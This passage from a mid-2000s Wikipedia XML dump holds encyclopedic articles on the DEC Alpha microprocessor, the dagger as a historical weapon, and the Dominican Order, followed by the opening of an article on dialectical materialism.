      <text xml:space="preserve">[[Image:DEC Alpha 21-35023-13 J40793-28 top.jpg|thumb|DEC Alpha AXP 21064 Microprocessor]]The '''DEC Alpha''', also known as the '''Alpha AXP''',  is a 64-bit [[RISC]] [[microprocessor]] originally developed and [[Fab (semiconductors)|fab]]ricated by [[Digital Equipment Corporation|Digital Equipment Corp. (DEC)]], which used it in its own line of workstations and servers. Designed as a successor to the [[VAX]] line of computers, it supported the [[OpenVMS|VMS]] operating system, as well as [[Digital UNIX]]. Later [[open source]] operating systems also ran on the Alpha, notably [[Linux]] and [[Berkeley Software Distribution|BSD]] UNIX flavours. [[Microsoft]] supported the processor until [[Windows NT|Windows NT 4.0]] SP6 but did not extend Alpha support beyond release candidate 2 of [[Windows 2000]].

==History==

Alpha was born out of an earlier RISC project named [[DEC PRISM|PRISM]], itself the final product of several earlier projects. DEC had been marketing the [[DECstation]] line of workstations based on the [[MIPS architecture]], and unsurprisingly PRISM shared many features with MIPS. Among the differences between PRISM and MIPS, however, was that PRISM supported a user-programmable [[microcode]] known as ''Epicode''. PRISM had been designed with the intent of releasing a new [[operating system]] along with it, known as '''Emerald''', which would allow it to run &quot;native&quot; programs at full speed while also supporting Digital's existing [[OpenVMS|VMS]] programs from the [[VAX]] after minor conversion. DEC management doubted the need to produce a new computer architecture to replace their existing VAX and DECstation lines, and eventually killed the PRISM project in 1988.

By the time of cancellation, however, second generation RISC chips (such as the newer [[SPARC]] architecture), were offering much better [[price/performance ratio]]s than the [[VAX]] lineup. It was clear a third generation would completely outperform the VAX in all ways, not just on cost. Another study was started to see if a new RISC architecture could be defined that could directly support the [[OpenVMS|VMS]] operating system. The new design used most of the basic PRISM concepts, but was re-tuned to allow VMS and VMS programs to run at reasonable speed with no conversion at all. The decision was also made to upgrade the design to a full [[64-bit]] implementation from PRISM's 32-bit, a conversion all of the major RISC vendors were undertaking. Eventually that new architecture became Alpha. The Alpha instruction set architects were Dick Sites and Rich Witek.

The main contribution of Alpha to the microprocessor industry, and the main reason for its excellent performance, was not so much the architecture but rather superb implementation. At that time (as it is now), the microchip industry was dominated by automated design and layout tools. The chip designers at Digital continued pursuing sophisticated manual circuit design in order to deal with the overly complex [[VAX]] architecture. The Alpha chips showed that manual circuit design applied to a simpler, cleaner architecture allowed for much higher operating frequencies than those that were possible with the more automated design systems. These chips caused a renaissance of custom circuit design within the microprocessor design community.

The first few generations of the Alpha chips were some of the most innovative of their time. The first version, '''21064''' or '''EV4''', was the first [[CMOS]] microprocessor whose operating frequency rivalled higher-powered [[Emitter coupled logic|ECL]] minicomputers and mainframes. The second, '''21164''' or '''EV5''', was the first microprocessor to place a large secondary cache on chip. The third, '''21264''' or '''EV6''', was the first microprocessor to combine both high operating frequency and the more complicated [[out-of-order execution]] microarchitecture. 

A persistent report attributed to DEC insiders suggests the choice of the '''AXP''' tag for the processor was made by DEC's legal department, which was still smarting from the [[VAX#The_name|VAX trademark]] fiasco. After a lengthy search the tag &quot;AXP&quot; was found to be entirely unencumbered. Within the computer industry, a joke got started that the acronym '''AXP''' meant &quot;Almost Exactly PRISM&quot;.

==Versions==

The first version, the '''Alpha 21064''' was introduced in [[1992]] running at 192MHz, a slight shrink of the die (21064) ran at 200Mhz a few months later. The 64-bit processor was a [[superpipelined]] and [[superscalar]] design, like other RISC designs, but nevertheless outperformed them all and DEC touted it as the world's fastest processor. Careful attention to circuit design, a hallmark of the Hudson design team, like a huge centralized clock circuitry, allowed them to run the CPU at higher speeds, even though the micro-architecture was fairly similar to other RISC chips. In comparison, the less expensive [[Intel Pentium]] ran at 66MHz when it was launched the following spring.

The '''Alpha 21164''' became available in 1995 at a processor frequency of 333MHz.  In July [[1996]] the line was speed bumped to 500MHz, in March [[1998]] to 666MHz, and in May 2000 the '''21264''' was released at 731MHz. 1GHz and faster pieces were announced in [[2001]] (the 21364 or EV7), and have been available since [[2003]] at 1.1GHz+. Around 500,000 Alpha based systems were sold to end-[[2000]].

The production of Alpha chips was licensed to [[Samsung]] Electronics Company. Following the purchase of Digital by [[Compaq]] the majority of the Alpha products were placed with API NetWorks, Inc. (previously Alpha Processor Inc.), a private company funded by Samsung and Compaq. In October 2001 [[Microway]] became the exclusive sales and service provider of API NetWorks' Alpha-based product line.

Compaq announced that computers using Alpha would be phased out by 2004 in favour of [[Intel]]'s [[Itanium]]. HP, new owner of Compaq, announced that development for the Alpha series would continue for a few more years, including the release of the EV7z chip (EV79 and EV8 are both cancelled), but that this will be the final iteration of the chip. The [[IA-64]] is supposed to replace this series.  HP will continue maintaining and selling AlphaServers with [[OpenVMS]] and Tru64 until 2006, and has extended support to 2011. 

Ironically, in mid-2003, as the Alpha was about to be phased out, the fastest and second fastest computers in the [[United States|U.S.]] were both implemented using Alpha processors (in the case of the former, a [http://www.top500.org/list/2002/11/ cluster of 4096 Alpha processors]).

On [[August 16]], [[2004]] HP announced that they are releasing the 1.3GHz EV7z, that has now been released and no more releases are planned.

=== Model history ===

{| border = 1
!Model!!AKA!!Year!!Frequency [Mhz]!!Process [µm]!!Transistors [millions]!!Die size [mm²]!!IO Pins!!Power [W]!!Voltage!!Mem [MB/s]!!Dcache [k]!!Icache [k]!!Scache!!Bcache!!ISA
|-
||EV4||21064||1992||100-200||0.75||1.68||234||290||30||3.3||80||8||8||--||&amp;nbsp;||&amp;nbsp;
|-
||EV45||21064A||1994||200-300||0.5||2.85||164||||33||3.3||80||16||16||--||&amp;nbsp;||&amp;nbsp;
|-
||LCA4||21066||1993||100-166||0.68||1.75||209||||21||3.3||30||8||8||--||&amp;nbsp;||&amp;nbsp;
|-
||LCA45||21066A||1994||166-233||0.5||1.75||161||||23||3.3||30||8||8||--||&amp;nbsp;||&amp;nbsp;
|-
||EV5||21164||1995||266-500||0.5||9.7||299||296||56||3.3/2.5||150||8||8||96k||1||R
|-
||EV56||21164A||1996||400-767||0.35||9.3||209||||46||3.3/2.0||300||8||8||96k||1-2M||R,B
|-
||PCA56||21164PC||1997||400-533||0.35||3.5||141||264||40||3.3/2.5||&amp;nbsp;||8||16||--||1M||R,B,M
|-
||PCA57||&amp;nbsp;||&amp;nbsp;||600-666||0.28||5.7||101||283||20||2.5/2.0||&amp;nbsp;||16||16||--||1M||R,B,M
|-
||EV6||21264||1998||450-600||0.35||15.9||314||389||73||2.0||1600||64||64||--||2-8M||R,B,M,F
|-
||EV67||21264A||1999||667-750||0.25||15.9||210||389||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||64||64||--||2-8M||R,B,M,F,C
|-
||EV68AL||21264B||2001||800-833||0.18||15.9||125||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||64||64||--||2-8M||R,B,M,F,C,T
|-
||EV68CB||21264C||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||64||64||--||2-8M||R,B,M,F,C,T
|-
||EV68CX||21264D||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||64||64||--||2-8M||R,B,M,F,C,T
|-
||EV7||21364||2003||800-1300||0.18||130||397||&amp;nbsp;||125||1.5||&amp;nbsp;||64||64||1.75M||--||R,B,M,F,C,T
|}

ISA extensions:
* R: ?
* B: BWX, instructions to read 8- and 16-bit words from memory
* M: MVI, &quot;multimedia&quot; instructions
* F: FIX, instructions to move data between integer and floating point registers and for square root
* C: CIX, instructions for counting and finding bits
* T: Support for prefetch with modify intent to improve the performance of the first attempt to acquire a lock

==External links==
*[http://www.research.compaq.com/wrl/DECarchives/DTJ/DTJ800 Digital Technical Journal, Volume 4, Number 4, Special Issue 1992 Alpha AXP Architecture and Systems]
*[http://ftp.digital.com/pub/digital/info/semiconductor/literature/dsc-library.html DEC Alpha Documentation Library] Technical documentation for Alpha microprocessors and motherboards, last updated in 1999 (includes the Alpha Architecture Handbook)
*[http://ftp.digital.com/pub/digital/info/semiconductor/literature/archives.html DEC Alpha Documentation Archives] Technical documentation for older Alpha products
*[http://www.xbitlabs.com/articles/cpu/display/alpha.html XBITLABS: The History of Alpha Processors: Facts and Comments]
*[http://www.realworldtech.com/page.cfm?ArticleID=RWT121300000000 Real World Technologies: Alpha EV8 (Part 1): Simultaneous Multi-Threat], by Paul DeMone
*[http://www.realworldtech.com/page.cfm?ArticleID=RWT122600000000 Real World Technologies: Alpha EV8 (Part 2): Simultaneous Multi-Threat], by Paul DeMone
*[http://www.realworldtech.com/page.cfm?ArticleID=RWT011601000000 Real World Technologies: Alpha EV8 (Part 3): Simultaneous Multi-Threat], by Paul DeMone
*[http://www.realworldtech.com/page.cfm?ArticleID=RWT021802145442 Real World Technologies: The Spider and the Mountain], by Paul DeMone, covering the 2002 ISSCC presentations of the Alpha EV8 and Intel Itanium 2
* [http://www.alasir.com/alpha/alpha_history.html Alpha: The History in Facts and Comments]

[[Category:DEC hardware]]
[[Category:Microprocessors]]

[[de:Alpha-Prozessor]]
[[es:DEC Alpha]]
[[eo:Alpha]]
[[fr:DEC Alpha]]
[[hu:DEC Alpha]]
[[it:DEC Alpha]]
[[ja:Alpha (CPU)]]
[[pl:DEC Alpha]]
[[fi:Alpha]]
[[zh:DEC Alpha]]</text>
    </revision>
  </page>
  <page>
    <title>Dagger</title>
    <id>8972</id>
    <revision>
      <id>40849567</id>
      <timestamp>2006-02-23T11:56:32Z</timestamp>
      <contributor>
        <username>Thryduulf</username>
        <id>157530</id>
      </contributor>
      <minor />
      <comment>link to [[ceremonial weapon]]</comment>
      <text xml:space="preserve">:''For the typographical mark, see [[dagger (typography)]].''

[[Image:Daggers.jpg|left|thumb]]

A '''dagger''' (from [[Vulgar Latin]]: 'daca' - a [[Dacian]] [[knife]]) is a [[blade weapon]] (essentially a double-edged knife) used for stabbing, thrusting or as a secondary defense weapon in [[close combat]]. In most cases a [[tang (weaponry)|tang]] is placed along the center line of the [[blade]].

Much like [[battle axe]]s, daggers evolved out of prehistoric [[tool]]s. They were initially made of [[flint]], [[ivory]] or even [[bone]] and were used as a weapon since the earliest periods of human civilization. The earliest daggers appear in the [[Bronze Age]], in the [[3rd millennium BC]], predating the [[sword]], which essentially developed from oversized daggers. Although the standard dagger would at no time be very effective against [[axes]], [[spears]] or even [[maces]] due to its limited reach, it was an important step towards the development of a more useful close combat weapon: the [[sword]]. 

[[Image:Celtic dagger, scabbard and buckle.JPG|right|thumb|Celtic dagger]]

However, almost from the very beginning of Egyptian history, daggers were adorned as [[ceremonial weapon|ceremonial objects]] with golden hilts and later even more ornate and varied construction. Until recently military officers wore ceremonial daggers as a symbol of power and soldiers are still equipped with [[combat knife|combat knives]].

In any case knives and daggers were always considered secondary or even tertiary weapons. Babylonians, Greeks, Spartans, Persians, Romans, Vikings and crusaders all mainly fought with [[pole weapon]]s, swords and axes at arm's length if not already utilizing bows, spears, [[sling (weapon)|slings]] or other long range weapons. Roman soldiers were issued with a [[pugio]]. narrow knives known as ''sica.''

The dagger is symbolically ambiguous. It may be associated with cowardice and treachery due to the ease of concealment and surprise someone wielding one could inflict on an unexpecting victim — many assassinations are supposed to have been carried out using one. The most famous victim of all is certainly [[Julius Caesar]], who suffered from more than 23 stab wounds from irate members of the [[Roman Senate|Senate]]. On the other hand, the dagger may symbolically suggest a determination to courageously close with the enemy.

From the year 1250 onward, gravestones and other contemporary images show knights with a dagger or combat knives at their side. The shaft and blade shapes began to resemble smaller versions of swords and led to a fashion of ornamented scabbards and shafts in the late 15th century.

The increasing sophistication of sword fighting and a prevailing sense of [[Chivalry|chivalrous honour]] caused knives and daggers to lose their popularity as weapons in medieval times, only to regain it during the [[Renaissance]] in the form of the [[Stiletto]], which proved to be very effective against the plated body armor popular at the time. 

In that age, the books which trained for the use of weapons prescribed that the dagger would be held in the hand with the blade pointing from the heel of the hand, and used by downward jabs. This would differentiate a dagger wound from that of a [[sword]]. A sword wound was noble, and as the possession of swords was limited to aristocrats could only be caused by one of them. Murder by dagger thrusts was ignoble, and could be done by commoners or vengeful aristocrats who wished to remain anonymous. This is why a group of political murders is called [[Night of the Long Knives]], although daggers were not literally used. 

With the development of [[firearms]], the dagger lost more and more of its usefulness in military combat; multipurpose knives and handguns replaced them. However, beginning with the [[Napoleonic Wars]], the [[American Civil War]] and [[World War I]], another form of dagger - the [[bayonet]] - was used to turn [[rifle]]s into [[spear]]s by mounting them on the barrel. 

Daggers came back into public notoriety with the [[commando]] forces of the Second World War. The British commandos had an especially slender dagger developed from that used by their police forces in Shanghai. American forces developed their own standard dagger too. 

Although not technically a dagger, the [[rondel (dagger)|rondel]], a stabbing weapon with a circular, triangular or rectangular cross-section, is commonly included in the term.

Some daggers also have weighted blades, and are meant for throwing at enemies.  The weighted blade provides momentum and accuracy.

[[Category:Knives]]

[[de:Dolch]]
[[es:Daga]]
[[fa:خنجر]]
[[fr:Dague]]
[[he:פגיון]]
[[id:Belati]]
[[ja:ダガー]]
[[pl:Sztylet]]
[[pt:Adaga]]
[[ru:Кинжал]]
[[sl:Bodalo]]
[[sv:Dolk]]</text>
    </revision>
  </page>
  <page>
    <title>Dominican Order</title>
    <id>8973</id>
    <revision>
      <id>41213551</id>
      <timestamp>2006-02-25T20:57:15Z</timestamp>
      <contributor>
        <username>Jfreyre</username>
        <id>665137</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{update}}
{{intro length}}

[[Image:OP_sello2.gif |right|thumb|200px|''Laudare, Benedicere, Praedicare'']]
[[Image:SaintDominic.jpg |right|thumb|200px|Saint [[Dominic de Guzman]] saw the need for a new type of organization to address the needs of his time, one that would bring the dedication and systematic education of the older monastic orders to bear on the religious problems of the burgeoning population of cities, but with more organizational flexibility than either monastic orders or the secular clergy]].  

The '''Order of Preachers''' ('''''Ordo Praedicatorum'''''), more commonly known as the '''Dominican [[Order (religious)|Order]],''' or '''Dominicans''' is a [[Roman Catholic Church|Catholic]] religious order. In [[England]] and some other countries the Dominicans are referred to as '''Blackfriars''' on account of the black ''cappa'' or cloak they wear over their white habits, just as the [[Carmelites]] are known as &quot;Whitefriars&quot; for the same reason. Founded by Saint [[Dominic de Guzman]] in the early [[13th century]], it is one of the great [[Catholic order|orders]] of [[mendicant order|mendicant friars]] that revolutionized religious life in [[Europe]] during the [[High Middle Ages]]. It is managed by the [[Masters General of the Dominican Order|Master of the Order]], currently the brother [[Carlos Azpiroz Costa]].

&lt;!--[[Image:OP_sello.gif |right]]--&gt;
Like his contemporary [[Francis of Assisi]], Dominic saw the need for a new type of organization to address the needs of his time, and the quick growth of the Dominicans and [[Franciscan]]s during their first century confirms that the orders of mendicant friars met a need.

Dominic sought to establish a new kind of order, one that would bring the dedication and systematic education of the older monastic orders like the [[Benedictine|Benedictines]] to bear on the religious problems of the burgeoning population of cities, but with more organizational flexibility than either monastic orders or the secular clergy. Some scholars, including Lester K. Little, in his book on religious poverty in the middle ages, have argued that the Dominicans and other mendicant orders were an adaptation to the rise of the profit economy in medieval Europe. Dominic's  new order was to be [[preaching]] order, trained to preach in the [[vernacular]] languages but with a sound background in academic [[theology]].  Rather than earning their living on  vast farms as the monasteries had done, the new friars would survive by begging, &quot;selling&quot; themeselves through persuasive preaching. They were initially scorned by more traditional orders, who thought these &quot;urban monks&quot; would never survive the temptations of the city. 

Dominic saw the need to establish a new kind of order when travelling through the south of [[France]]. He had been asked to accompany his [[bishop]] from [[Osma]] on a diplomatic mission to [[Denmark]], to arrange the marriage between the son of king [[Alfonso VIII of Castile]] and a niece of king [[Valdemar II of Denmark]]. At that time the south of France was the stronghold of [[Albigensian]] thought, centered around the town of [[Albi]].

This unorthodox expression of Christianity held that matter was evil and only spirit was good, a fundamental challenge to the notion of [[incarnation]], central to [[Catholic]] theology. The Albegensians, more commonly known as the [[Cathar|Cathars]] (a [[heretic]]al [[gnostic]] sect), lived very simply and saw themselves as more fervent followers of the poor [[Christ]]. Dominic saw the need for a response that would take the good elements in the Albigensian movement to sway them back to mainstream Christian thought. The mendicant preacher emerged from this insight. Unfortunately, Dominic's ideal of winning the Albigensians over was not held by all office bearers and the population of Albi was decimated in the [[Albigensian crusade]].

The organization of the Order of Preachers was approved in [[1216]] by [[Pope Honorius III]].

The Dominicans were a major force in the development and maintenance of the [[Inquisition]], then later of the [[Holy Office]] and the [[Congregation for the Doctrine of the Faith]].

Four Dominican [[cardinal]]s have reached the Papacy: [[Pope Innocent V|Innocent V]], [[Pope Benedict XI|Benedict XI]], [[Pius V|Pius V]] and [[Pope Benedict XIII|Benedict XIII]].

Currently, in the [[College of Cardinals]] there are two Dominican cardinals: [[Christoph Cardinal Schönborn]], Archbishop of [[Wien]] (Vienna) and [[Georges Marie Martin Cardinal Cottier]], [[Theologian of the Papal Household]].

==History of the Order==
Their history may be divided into three periods: 

* The Middle Ages (from their foundation to the beginning of the [[sixteenth century]]); 
* The Modern Period up to the [[French Revolution]]; 
* The Contemporary Period. 

In each of these periods we shall examine the work of the order in its various departments.

==Middle Ages==
[[Image:SaintThomasAquinas.jpg |right|thumb|200px|Doctor Angelicus, Doctor Universalis St. Thomas Aquinas considered by the Catholic Church to be its greatest theologian, is girded by angels with a mystical belt of purity after his proof of chastity]]

The thirteenth century is the classic age of the Order, the witness to its brilliant development and intense activity. This last is manifested especially in the work of teaching. By preaching it reached all classes of Christian society, fought [[heresy]], [[schism]], [[paganism]], by word and book, and by its missions to the north of [[Europe]], to [[Africa]], and [[Asia]], passed beyond the frontiers of Christendom. Its schools spread throughout the entire Church; its doctors wrote monumental works in all branches of knowledge and two among them, [[Albertus Magnus]], and especially [[Thomas Aquinas]], founded a school of philosophy and theology which was to rule the ages to come in the life of the Church. An enormous number of its members held offices in Church and State -- as popes, cardinals, bishops, legates, inquisitors, confessors of princes, ambassadors, and ''paciarii'' (enforcers of the peace decreed by popes or councils). The Order of Preachers, which should have remained a select body, developed beyond bounds and absorbed some elements ill-fitted to its form of life. A period of relaxation ensued during the [[fourteenth century]] owing to the general decline of Christian society. The weakening of doctrinal activity favoured the development here and there of the [[ascetic]] and [[contemplative]] life and there sprang up, especially in [[Germany]] and [[Italy]], an intense and exuberant mysticism with which the names of [[Meister Eckhart]], [[Heinrich Suso]], [[Johannes Tauler]], and [[St. Catherine of Siena]] are associated. This movement was the prelude to the reforms undertaken, at the end of the century, by [[Raymond of Capua]], and continued in the following century. It assumed remarkable proportions in the congregations of [[Lombardy]] and [[Holland]], and in the reforms of [[Savonarola]] at [[Florence]]. At the same time the Order found itself face to face with the [[Renaissance]]. It struggled against pagan tendencies in [[humanism]], in Italy through Dominici and Savonarola, in Germany through the theologians of Cologne but it also furnished humanism with such advanced writers as [[Francesco Colonna]] (writer of the ''[[Hypnerotomachia Poliphili]]'') and [[Matteo Bandello]]. Its members, in great numbers, took part in the artistic activity of the age, the most prominent being [[Fra Angelico]] and [[Fra Bartolomeo]].

==Modern Period==
[[Image:Bartolomedelascasas.jpeg|thumb|200px|right|[[Bartolomé de Las Casas]], as a settler in the [[New World]], he was galvanized by witnessing the brutal torture and genocide of the [[Native American]]s by the [[Spanish]] colonists. He became famous for his advocacy of the rights of Native Americans, whose cultures, especially in the [[Caribbean]], he describes with care]] 

The modern period consists of the three centuries between the religious revolution at the beginning of the [[sixteenth century]] ([[Protestantism]]) and the [[French Revolution]] and its consequences. The Order, like the Church itself, felt the shock of these destructive revolutions, but its vitality enabled it to withstand them successfully. At the beginning of the sixteenth century the order was on the way to a genuine renaissance when the Revolutionary upheavals occurred. The progress of heresy cost it six or seven provinces and several hundreds of [[convent]]s, but the discovery of the [[New World]] opened up a fresh field of activity. Its gains in [[Americas|America]] and those which arose as a consequence of the [[Portuguese people|Portuguese]] conquests in [[Africa]] and the [[Indies]] far exceeded the losses of the order in Europe, and the [[seventeenth century]] saw its highest numerical development. The sixteenth century was a great doctrinal century, and the movement lasted beyond the middle of the [[eighteenth century]]. In modern times the order lost much of its influence on the political powers, which had universally fallen into [[absolutism]] and had little sympathy for the [[democratic]] constitution of the Preachers. The [[Bourbon]] courts of the seventeenth and eighteenth centuries were particularly unfavourable to them until the suppression of the [[Society of Jesus]]. In the eighteenth century, there were numerous attempts at reform which created, especially in France, geographical confusion in the administration. Also during the eighteenth century, the tyrannical spirit of the European powers and, still more, the spirit of the age lessened the number of recruits and the fervour of religious life. The French Revolution ruined the order in France, and the crises which more or less rapidly followed considerably lessened or wholly destroyed numerous provinces.

==Contemporary Period==
[[Image:OP_Caracas.jpg |right|thumb|300px|Spanish Mendicant friars from the Order of Preacher at Saint Thomas Aquinas' School, Caracas, Venezuela, 1952]]

The contemporary period of the history of the Preachers begins with the different restorations of provinces undertaken after the revolutions which had destroyed the Order in several countries of the Old World and the New. This period begins more or less early in the [[nineteenth century]], and it cannot be traced down to the present day without naming religious who are still living and whose activity embodies the present life of the Order. The revolutions not having totally destroyed certain of the provinces, nor decimated them, simultaneously, the Preachers were able to take up the laborious work of restoration in countries where the civil legislation did not present insurmountable obstacles. During this critical period the number of Preachers seems never to have sunk below 3,500. The statistics for 1876 give 3,748 religious, but 500 of these had been expelled from their convents and were engaged in [[parochial]] work. The statistics for 1910 give a total of 4,472 religious both nominally and actually engaged in the proper activities of the Order. They were distributed in twenty-eight provinces and  five congregations, and possessed nearly 400 convents or secondary establishments. 

In the revival movement France held a foremost place, owing to the reputation and convincing power of the orator, [[Henri-Dominique Lacordaire]] (1802-1861). He took the habit of a Friar Preacher at Rome (1839), and the province of France was canonically erected in 1850. From this province were detached the province of [[Lyons]], called Occitania (1862), that of [[Toulouse]] (1869), and that of [[Canada]] (1909). The French restoration likewise furnished many labourers to other provinces, to assist in their organization and progress. From it came the master general who remained longest at the head of the administration during the nineteenth century, Père [[Vincent Jandel]] (1850-1872). Here should be mentioned the province of St. Joseph in the United States. Founded in 1805 by Father [[Dominic Fenwick]], afterwards first Bishop of [[Cincinnati, Ohio]] (1821-1832), this province has developed slowly, but now ranks among the most flourishing and active provinces of the order. In 1910 it numbered seventeen convents or secondary houses. In 1905, it established a large house of studies at [[Washington, D.C.]], called the [[Dominican House of Studies]]. 

The province of France (Paris) has produced a large number of preachers, several of whom became renowned. The conferences of Notre-Dame-de-Paris were inaugurated by Père Lacordaire. The Dominicans of the province of France furnished most of the orators: Lacordaire (1835-1836, 1843-1851), [[Jacques Monsabré]] (1869-1870, 1872-1890), [[Joseph Ollivier]] (1871, 1897), [[Thomas Etourneau]] (1898-1902). Since 1903 the pulpit of Notre Dame has again been occupied by a Dominican. Père [[Henri Didon]] (d. 1900) was one of the most esteemed orators of his time. The province of France displays greater intellectual and scientific activity than ever, the chief centre being the house of studies at present situated at [[Kain]], near [[Tournai, Belgium]], where are published ''L'Année Dominicaine'' (founded 1859), ''La Revue des Sciences Philosophiques et Theologiques'' (1907), and ''La Revue de la Jeunesse'' (1909). 

The province of the [[Philippines]], the most populous in the order, is recruited from Spain, where it has several preparatory houses. In the Philippines it has charge of the [[University of Manila]], recognized by the government of the [[United States]], two colleges, and six establishments; in [[China]] it administers the missions of North and South [[Fo-Kien]], in the Japanese Empire, those of [[Formosa]] (now Taiwan) and [[Shikoku]], besides establishments at [[New Orleans]], at [[Caracas, Venezuela]] and at [[Rome]]. The province of Spain has seventeen establishments in the Peninsula and the [[Canaries]], as well as the missions of [[Urubamba, Peru]]. Since 1910 it has published at [[Madrid]] an important review, ''La Ciencia Tomista.'' The province of Holland has a score of establishments, and the missions of [[Curaçao]] and [[Puerto Rico]]. Other provinces also have their missions. That of Piedmont has establishments at [[Istanbul|Constantinople]] and [[Izmir|Smyrna]]; that of Toulouse, in [[Brazil]]; that of Lyons, in [[Cuba]], that of [[Ireland]], in [[Australia]] and [[Trinidad and Tobago]]; that of [[Belgium]], in the Belgian Congo (now [[Congo]]), and so on. 

Doctrinal development has had an important place in the restoration of the Preachers. Several institutions besides those already mentioned have played important parts. Such is the Biblical school at [[Jerusalem]], open to the religious of the Order and to secular clerics, and which publishes the ''Revue Biblique.'' The faculty of theology of the [[University of Freiburg]], confided to the care of the Dominicans in 1890, is flourishing and has about 250 students. The [[Collegium Angelicum]], established at Rome (1911) by [[Hyacinth Cormier]] (master general since 1902), is open to regulars and seculars for the study of the sacred sciences. To the reviews mentioned above must be added the ''Revue Thomiste,'' founded by Père [[Thomas Coconnier]] (d. 1908), and the ''Analecta Ordinis Prædicatorum'' (1893). Among the numerous writers of the order in this period are: Cardinals [[Thomas Zigliara]] (d. 1893) and [[Zephirin González]] (d. 1894), two esteemed philosophers; Father [[Alberto Guillelmotti]] (d. 1893), historian of the Pontifical Navy, and Father [[Heinrich Denifle]], one of the most famous writers on medieval history (d. 1905). 

In 1910 the order had twenty archbishops or bishops, one of whom, [[Andreas Frühwirth]], formerly master general (1892-1902), was Apostolic ''[[nuncio]]'' at [[Munich]] (Sanvito, ''Catalogus omnium provinciarum sacri ordinis praedicatorum,'' Rome, 1910; ''Analecta O. P.,'' Rome, 1893--; ''L'Année Dominicaine,'' Paris, 1859-- ). In the last two publications will be found historical and bibliographical information concerning the history of the Preachers during the contemporary period.

==Mottos==

[[Image:OP_sello.gif |right|thumb|100px|]]

1. ''Laudare, Benedicere, Praedicare''

:To praise, to bless and to preach 

(from the Roman Missal, ''Preface of the Blessed Virgin Mary'')'''

2. ''Veritas''

:Truth

3. ''Contemplare et Contemplata Aliis Tradere''

:To study and to hand on the fruits of study (or, to contemplate and to hand on the fruits of contemplation)

==List of Dominicans==
''See also: [[:Category:Dominicans]]''

Important Dominicans include:
*St. [[Thomas Aquinas]]
*St. [[Dominic de Guzman|Dominic]]
*St. [[Albertus Magnus]]
*St. [[Catherine of Siena]]
*St. [[Rose of Lima]]
*[[Bartolome de las Casas]]
*[[Tomas de Torquemada]]
*[[Giordano Bruno]]
*[[Bernard Gui]]
*[[Andrew of Longjumeau]]
*[[Girolamo Savonarola]]
*[[Edward Fenwick]], first Bishop of Cincinnati, OH
*[[John Bromyard]]
*[[Nicolau Aymerich]]
*[[Meister Eckhart]]
*[[Jean-Baptiste Henri Lacordaire]]
*[[Timothy Radcliffe]]
*[[Felix Faber]]
*[[Joseph Sadoc Alemany]]
*[[Albert Nolan]]
*[[Vincent McNabb]]

&lt;!--
''To be integrated in the article:''
:[[Albigensians]]
:[[sister]]s
:tertiaries
--&gt;

==External links==
* [http://www.op.org/ Order of Preachers Homepage]  -  Available in English, French and Spanish
* [http://english.op.org/ The English Dominicans]
* [http://www.australia.op.org/ Australian Dominicans]
* [http://www.opwest.org/ Western Province Dominicans USA]
* [http://www.op-stjoseph.org/ Eastern Province Dominicans USA]
* [http://www.domcentral.org/ Central Province Dominicans USA]
* [http://www.opsouth.org/    Southern Province Dominicans USA]
Dominican Nuns
* [http://www.op.org/usaopnuns/ Conference of U.S. Dominican Nuns]
Dominican Sisters
* [http://www.op.org/international/english/Links/categories/sisters.htm Dominican Apostolic Sisters Worldwide]
* [http://www.nashvilledominican.org Dominican Sisters of St. Cecilia]
* [http://www.sistersofmary.org Dominican Sisters of Mary, Mother of the Eucharist]
* [http://www.sanrafaelop.org/ Dominican Sisters of San Rafael, California]
* [http://www.sinsinawa.org/ Sinsinawa Dominican Sisters]
* [http://www.racinedominicans.org/ Racine Dominican Sisters]
Other
* [http://torch.op.org/ Dominican Preaching Online]

==See also==
* [[Chinese Rites controversy]]

{{Catholic order}}

[[Category:Dominican Order| ]]

[[zh-min-nan:Tō-bêng-hōe]]
[[da:Dominikanerordenen]]
[[de:Dominikaner]]
[[es:Dominicos]]
[[fr:Ordre des frères prêcheurs]]
[[he:דומיניקנים]]
[[id:Ordo Dominikan]]
[[it:Ordine dei Frati Predicatori]]
[[nl:Dominicanen]]
[[ja:ドミニコ会]]
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[[zh:多明我会]]</text>
    </revision>
  </page>
  <page>
    <title>Saint Dominic</title>
    <id>8974</id>
    <revision>
      <id>18066483</id>
      <timestamp>2005-07-03T12:46:41Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
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    <title>Dialectical materialism</title>
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      <text xml:space="preserve">{{mergefrom|Marxist philosophy of nature}}
'''Dialectical materialism''' is the philosophical basis of [[Marxism]] as defined by later [[Communist]]s  and their [[Communist party|Parties]] (sometimes called &quot;orthodox&quot; Marxism).  As the name signals, it is an outgrowth of both [[Georg Wilhelm Friedrich Hegel|Hegel]]'s '''[[dialectic]]s''' and [[Ludwig Feuerbach]]'s and [[Karl Marx]]'s philosophical '''[[materialism]]''', and is most directly traced to Marx's fellow thinker, [[Friedrich Engels]]. It uses the concepts of [[thesis]], [[antithesis]] and [[synthesis]] to explain the growth and development of human history. It should however be noted that dialectical materialism cannot be reduced to this interpretation alone.

For formal approaches, the main predication of 'dialectical opposition or contradiction' must be understood as 'some sense' opposition between the objects involved in a directly associated context. 'Dialectical contradiction' is not reducible to simple 'opposites' or 'negation'.     

Some Marxist theorists, critical of dialectical materialism, have called for a reassessment of the place of Engels' work ''Dialectics of Nature'' in the Marxist canon. They note that the term &quot;dialectical materialism&quot; originates with Russian theorist [[Georgi Plekhanov]] and that Marx preferred the term &quot;[[historical materialism|the materialist conception of history]]&quot;, which was later shortened to &quot;historical materialism&quot; by Engels. This, they argue, limits his method within a specifically human, sociological context, distinguishing it from a universalizing theory.  And apart from the historical materialists, other thinkers in [[Marxist philosophy]] have had recourse to the original texts of Marx and Engels and have created other Marxist philosophical projects and concepts which are alternatives, and sometimes rivals, to the often-Party-sponsored ideas of &quot;diamat&quot; (an abbreviation for &quot;''dia''lectical ''mat''erialism&quot;).

